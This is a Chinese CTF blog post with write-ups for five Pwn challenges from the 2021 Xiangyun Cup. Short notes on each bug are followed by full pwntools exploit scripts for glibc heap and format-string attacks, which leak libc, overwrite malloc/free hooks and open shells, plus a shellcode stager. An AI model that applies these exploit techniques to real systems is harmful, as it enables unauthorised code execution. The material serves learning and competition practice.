祥云杯部分Pwn
再不复现估计都忘了
# note
说实话看到这个格式化字符串漏洞时我反应了挺久的
scanf 任意写,通过对 stdout 写入数据来泄露 libc,最后修改__malloc_hook 为 ogg 并通过 realloc 调整栈帧 getshell
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './2021note'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
libc = elf.libc
#p = process(['qemu-arm', binary])
#p = process(['qemu-aarch64','-L','',binary])
#p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
host = '47.104.70.90'
port = '25315'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def one_gadget(filename):
log.progress('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(
['one_gadget','--raw', '-f',filename]
)).split(' ')
return list(map(int,one_ggs))
def cmd(num):
sla(':',num)
def add(size,content):
cmd(1)
sla('size:',size)
sla('content:',content)
ru('addr: 0x')
return rint
def say(agr , text):
cmd(2)
sa('say ?',agr)
sla('?',text)
one_gad = one_gadget(libc.path)
heap_addr = add(0x20,'aaa')
payload = p64(0xfbad1800) + p64(0)*3
say('%7$s' , payload)
leak = l64()
_IO_2_1_stdin_ = leak + (0x7f3038ceb8e0 - 0x7f3038cea6e0)
libc.address =_IO_2_1_stdin_ - libc.sym['_IO_2_1_stdin_']
ogg = libc.address + one_gad[1]
__malloc_hook = libc.sym['__malloc_hook'] - 0x8
realloc = libc.sym['realloc']
lg('__malloc_hook',__malloc_hook)
# dbg('__isoc99_scanf')
say('%7$saaaa' + p64(__malloc_hook), p64(ogg) + p64(realloc + 8) + p64(0))
cmd(1)
# dbg('malloc')
sla('size:',0x20)
p.interactive()
'''
@File : 2021note.py
@Time : 2021/08/21 09:57:32
@Author : Niyah
'''
# PassWordBox_FreeVersion
add 这里有个 offbynull
程序会对输入的数据每八字节通过 key 进行异或,第一次 add 会输出加密数据所以第一次 add 的数据为空则会直接输出 key
之后就是 offbynull 构造堆块重叠了
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './pwdFree'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
libc = elf.libc
#p = process(['qemu-arm', binary])
#p = process(['qemu-aarch64','-L','',binary])
#p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
host = '47.104.71.220'
port = '38562'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(num):
sla(':',num)
def add(id,size,pwd):
cmd(1)
sla('Input The ID You Want Save:',id)
sla('Length Of Your Pwd:',size)
sa('Your Pwd:',pwd)
def delete(id):
cmd(4)
sla('Idx you want 2 Delete:',id)
def show(id):
cmd(3)
sla('Want Check:',id)
def edit(id,text):
cmd(2)
sl(str(id))
sleep(0.1)
se(text)
def decode(payload):
global key
rst = ''
for i in range(0, len(payload) , 8):
rst += p64( u64 ( payload[i:i+8] ) ^ key)
return rst
# key 0x0000000000004040
add('a', 0xf8 , '\x00'*8 + '\n')
ru('Save ID:')
key = u64(p.recv(8))
lg('key',key)
for i in range(6):
add('a', 0xf8 , 'a'*8 + '\n')
add('a', 0xf8 , 'a'*8 + '\n') #6
add('a', 0xf8 , 'a'*8 + '\n')
add('a', 0xf8 , 'a'*8 + '\n')
add('a', 0xf8 , 'a'*8 + '\n') #9
add('a',0x18,p64(0x6873^key) + '\n') #10
for i in range(6):
delete(i)
delete(9)
delete(7)
payload = flat(0,0,0x100*3 ).rjust(0xf8,'\x00')
add( 'a', 0xf8 , decode(payload)) #0
delete(6)
delete(10)
# 8 , 0
add( 'a', 0x78 , 'a\n') #1
add( 'a', 0x78 , 'a\n') #2
show(8)
ru('Pwd is: ')
__malloc_hook = u64(p.recv(8)) ^ key
lg('__malloc_hook',__malloc_hook)
libc.address = __malloc_hook - libc.sym['__malloc_hook'] - 0x70
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add( 'a', 0x78 , 'a\n') #3
add( 'a', 0x78 , 'a\n') #4
delete(3)
edit(8,p64(__free_hook))
sleep(0.1)
add('a', 0x78 , 'a\n')
lg('__free_hook',__free_hook)
lg('system',system)
add('a', 0x78 , p64(system ^ key) + p64(0^key)*14 )
delete(11)
p.interactive()
'''
@File : pwdFree.py
@Time : 2021/08/21 20:08:21
@Author : Niyah
'''
# Lemon
Lemon 这题方法用错了,爆破了挺久的,官方解的话好像两下就出来了
这里首先绕一下把 flag 存到栈上
add 这里有个 double free 但只能申请 0x30 大小的,通过这个可以修改 chunk 头
edit 存在堆溢出,可以控制 tcache 管理块从而使用 fastbin,但 edit 只有一次(师傅说这里有个负溢出,看了看确实)
本题 onegadget 一个都不能用,调栈帧都不行,只能不断申请 stdout 将栈上的 flag 打印出来
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
context.update( os = 'linux', arch = 'amd64')
binary = './lemon_pwn'
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.26.so')
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
libc = elf.libc
#p = process(['qemu-arm', binary])
#p = process(['qemu-aarch64','-L','',binary])
#p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
host = '47.104.70.90'
port = '34524'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def exhaust( pwn ):
global p
i = 0
while 1 :
try:
i+=1
pwn()
except:
lg('times ========> ',i)
p.close()
if (DEBUG):
p = process(binary)
else :
p = remote(host,port)
def cmd(num):
sla('>>',num)
def add(idx,name,size,content):
cmd(1)
sla('index of your lemon: ',idx)
sa('Now, name your lemon: ',name)
sla('message for you lemon: ',size)
sa('your message: ',content)
def eadd(idx,name,size = 0x600):
cmd(1)
sla('index of your lemon: ',idx)
sa('Now, name your lemon: ',name)
sla('message for you lemon: ',size)
def delete(idx):
cmd(3)
sla('index of your lemon : ',idx)
def show(idx):
cmd(2)
sla('index of your lemon : ',idx)
def edit(idx,content):
cmd(4)
sla('Input the index of your lemon : ',idx)
sa('draw and color!',content)
def attack():
sla('with me?','yes')
# dbg()
sa('lucky number: ',0x700048)
sla('tell me you name first:','a')
ru('is 0x')
stack_low_addr = rint(3)
lg('stack_low_addr',stack_low_addr)
# sla('with me?','g')
add(0 , 'a'*0x10 , 0x248,'a')
add(1 , 'a'*0x10 , 0x248,'a')
delete(1)
delete(0)
add(0 , 'a'*0x10 , 0x40 , 'a' )
show(0)
ru('eat eat eat ')
addr = int(p.recvuntil('.')[:-1]) + 0x50
lg('addr',addr)
fake = flat( 0 ,0,0,0 ,0 , 0x251) +p16(addr & 0xf000 + 0x10)
edit(0 ,fake )
add( 0 , 'a'*0x10 , 0x248 , '\x07'*0x40 )
add( 0 , 'a'*0x10 , 0x248 , '\x01'*2 + '\x07'*0x3e )
add( 2 , 'a'*0x10 , 0x18 , flat(0,0x31) )
add( 2 , 'a'*0x10 , 0x68 , flat(0,0x31) )
add( 3 , 'a'*0x10 , 0x68 , '\x07'*0x40 )
add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )
add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )
eadd( 1 , 'a')
delete(1)
add( 1 , p16((addr& 0xf000) + 0x820) , 0x28 , p16((addr& 0xf000) + 0x820))
add( 1 , flat(0, 0x30*4 + 0x70*4 + 1) , 0x68 , 'a')
delete(2)
delete(3)
add( 1 , 'a' , 0x28 , 'a')
delete(1)
add( 1 , 'a' , 0x28 + 0x70 , 'a')
low_addr = 0x96dd
delete(1)
add( 1 , 'a' , 0x68 + 0x40 , '\x00'*0x98 + p64(0x71)+ p16(low_addr) )
add( 1 , 'a' , 0x68 , p16(low_addr) )
fake_io = "\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + "\x00"
add( 1 , 'a' , 0x68 , fake_io)
leak = l64()
if leak == 0:
exit(0)
lg('leak',leak)
_IO_2_1_stdout_ = leak + 0x20
libc.address = _IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_']
environ = libc.sym['__environ']
lg('_IO_2_1_stdout_',_IO_2_1_stdout_)
io_chunk = _IO_2_1_stdout_ - 0x43
delete(0)
add( 1 , 'a' , 0xf0 , 'a')
delete(1)
add( 1 , 'a' , 0x160 , 'a'*0xf8 + flat(0x71 , io_chunk ) )
add( 3 , 'a' , 0x68 , 'a')
fake_io = "\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + flat(environ - 0x8 , environ + 0x8)
add( 2 , 'a' , 0x68 , fake_io )
stack_addr = l64()
lg('stack_addr',stack_addr)
add( 2 , 'a'*0x10 , 0x18 , flat(0,0x31) )
add( 2 , 'a'*0x10 , 0x68 , flat(0,0x31) )
add( 3 , 'a'*0x10 , 0x68 , flat(0,0x31) )
add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )
add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )
eadd( 1 , 'a')
delete(1)
add( 1 , p16((addr& 0xf000) + 0xbf0) , 0x28 , p16((addr& 0xf000) + 0xbf0))
add( 1 , flat(0, 0x30*4 + 0x70*4 + 1) , 0x68 , 'a')
delete(2)
delete(3)
add( 1 , 'a' , 0x28 , 'a')
delete(1)
add( 1 , 'a' , 0x28 + 0x70 , 'a')
delete(1)
add( 1 , 'a' , 0x68 + 0x40 , '\x00'*0x98 + p64(0x71)+ p64(io_chunk) )
add( 1 , 'a' , 0x68 , 'a' )
flag_addr = stack_addr - 0x188
lg('flag_addr',flag_addr)
fake_io = "\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + flat(flag_addr ,flag_addr + 0x50)
add( 1 , 'a' , 0x68 , fake_io)
p.interactive()
# attack()
exhaust(attack)
'''
@File : lemon_pwn.py
@Time : 2021/08/21 11:59:54
@Author : Niyah
'''
# PassWordBox_ProVersion
接下来就是我没有做出来的题了,说实话这题准备用 ha1vk 师傅的 house of banana 方法做的,但是就是差那么一点点
这题的洞比前面那题还简单,纯纯的 uaf,但是只能申请 large bin 范围里边的堆块,这时候就需要考虑 large bin attack 了,large bin attack 可以向一个地址写一个很大的值,官方解法是向 tcache_max_bins 写一个很大的值,让不属于 tcache 的比较大的堆块也属于 tcache ,有了 tcache 后就随便打了
tcache_max_bins 储存了 tcache 的种类数量,一个我不知道的知识点,还是太菜了
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './pwdPro'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
libc = elf.libc
#p = process(['qemu-arm', binary])
#p = process(['qemu-aarch64','-L','',binary])
#p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
host = '47.104.71.220'
port = '38562'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(num):
sla(':',num)
def add(idx,id,size,pwd):
cmd(1)
sla('Which PwdBox You Want Add:',idx)
sla('Input The ID You Want Save:',id)
sla('Length Of Your Pwd:',size)
sa('Your Pwd:',pwd)
def delete(id):
cmd(4)
sla('Idx you want 2 Delete:',id)
def show(id):
cmd(3)
sla('Want Check:',id)
def edit(id,text):
cmd(2)
sla('Which PwdBox You Want Edit:',id)
sleep(0.1)
se(text)
def recovery(id):
cmd(5)
sla('Idx you want 2 Recover:',id)
def decode(payload):
global key
rst = ''
for i in range(0, len(payload) , 8):
rst += p64( u64 ( payload[i:i+8] ) ^ key)
return rst
# 总结 如果知道 large bin attack 后续操作那将会是非常简单的一道题
add(0 ,'a', 0x528 , '\x00'*8 + '\n')
ru('Save ID:')
key = u64(p.recv(8))
lg('key',key)
add(1 ,'a', 0x500 , '\x00'*8 + '\n')
add(2 ,'a', 0x518 , '\x00'*8 + '\n')
add(3 ,'a', 0x500 , '\x00'*8 + '\n')
add(9 ,'a', 0x500 , '\x00'*8 + '\n')
delete(0)
recovery(0)
# dbg()
show(0)
ru('Pwd is: ')
leak = u64(p.recv(8)) ^ key
__malloc_hook = leak - 0x70
global_max_fast = leak + 0x2fa0
libc.address = __malloc_hook - libc.sym['__malloc_hook']
tcache_max_bins = 0x1eb2d0 + libc.address
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']
lg('tcache_max_bins',tcache_max_bins)
add(4 ,'a', 0x538 , '\x00'*8 + '\n')
delete(2)
show(0)
ru('Pwd is: ')
fd = u64(p.recv(8)) ^ key
p.recv(8)
fdn = u64(p.recv(8)) ^ key
lg('fd',fd)
lg('fdn',fdn)
fake = flat( fd , fd , fdn , tcache_max_bins - 0x20 )
edit(0 ,fake )
lg('libc.address',libc.address)
lg('__malloc_hook',__malloc_hook)
add(5 ,'a', 0x530 , '\x00'*8 + '\n')
delete(1)
delete(3)
recovery(3)
edit(3,p64(__free_hook))
add(6 , 'a' , 0x500 , '\n')
add(7 , 'a' , 0x500 , decode(p64(system)) + '\n')
edit(9 , '/bin/sh\x00')
delete(9)
# dbg()
p.interactive()
'''
@File : pwdFree.py
@Time : 2021/08/21 20:08:21
@Author : Niyah
'''
# JigSaw’sCage
说实话,不难,但不知道为啥比赛时没深做
另外参照了 W&M 战队的方法:祥云杯 2021 By W&M(Pwn)部分 (qq.com)
这题就更加明显了,直接可以让你执行长度小于 0x10 的 shellcode,但前提是让堆有执行权限
在最开始的时候有个洞 v1 只是整形,而可以输入长整形,那么我们可以把下面的随机数也一起控制了
这样就让堆有了执行权限
话说我看了挺多 wp,发现还是 wjh 师傅的 shellcode 最简单,充分考虑到了执行 shellcode 时各个寄存器的情况
rax 为 0 刚好可以作为 read 的系统调用号,rdx 为执行的 shellcode 地址,刚好可以作为 read 的写入地址,之后直接读入大段 shellcode 即可
再贴一下 Aidai 爷的短 shellcode
asm(shellcraft.read(0,'rsp',0xff)+';jmp rsp')
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './JigSAW'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
libc = elf.libc
#p = process(['qemu-arm', binary])
#p = process(['qemu-aarch64','-L','',binary])
#p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
host = ''
port = ''
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def exhaust( pwn ):
global p
i = 1
while 1 :
try:
i+=0
pwn()
except:
lg('times ======== > ',i)
p.close()
if (DEBUG):
p = process(binary)
else :
p = remote(host,port)
def one_gadget(filename):
log.progress('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(
['one_gadget','--raw', '-f',filename]
)).split(' ')
return list(map(int,one_ggs))
def cmd(num):
sla(':',num)
def add(id):
cmd(1)
sla('Index? :',id)
def edit(id,text):
cmd(2)
sla('Index? :',id)
sa('iNput:',text)
def test(id):
cmd(4)
sla('Index? :',id)
sla('Name','niayh')
sla('Make your Choice:',u64(p32(0) + p32(16)))
# 首先通过溢出修改执行权限
shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
# 这里的 shellcode 因为长度受限,需要充分利用调用时各个寄存器的值
# 程序使用了 call rdx ,这里 rdx 为 heap 段地址,还把 rax 给置 0
# 我们就可以进行 0 号系统调用 read 读到我们正在执行的 heap 中
lg("len",len(asm(shellcode)))
# 系统调用 read 读入
add(0)
edit(0, asm(shellcode))
# dbg()
test(0)
se('\x90' * 0x20 + asm(shellcraft.sh()))
# 因为程序刚好在执行这段上面这条汇编
# 这样操作刚好属于在执行的过程中把要执行的代码修改了
# wjh 师傅tql,使用 nop 指令滑到 shellcode
# 当然也可以多次对小片段 shellcode 来利用
p.interactive()
'''
@File : JigSAW.py
@Time : 2021/08/24 17:58:53
@Author : Niyah
'''
# 还有一道 C 嘉嘉写的 pwn,我先学一些再来复现
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。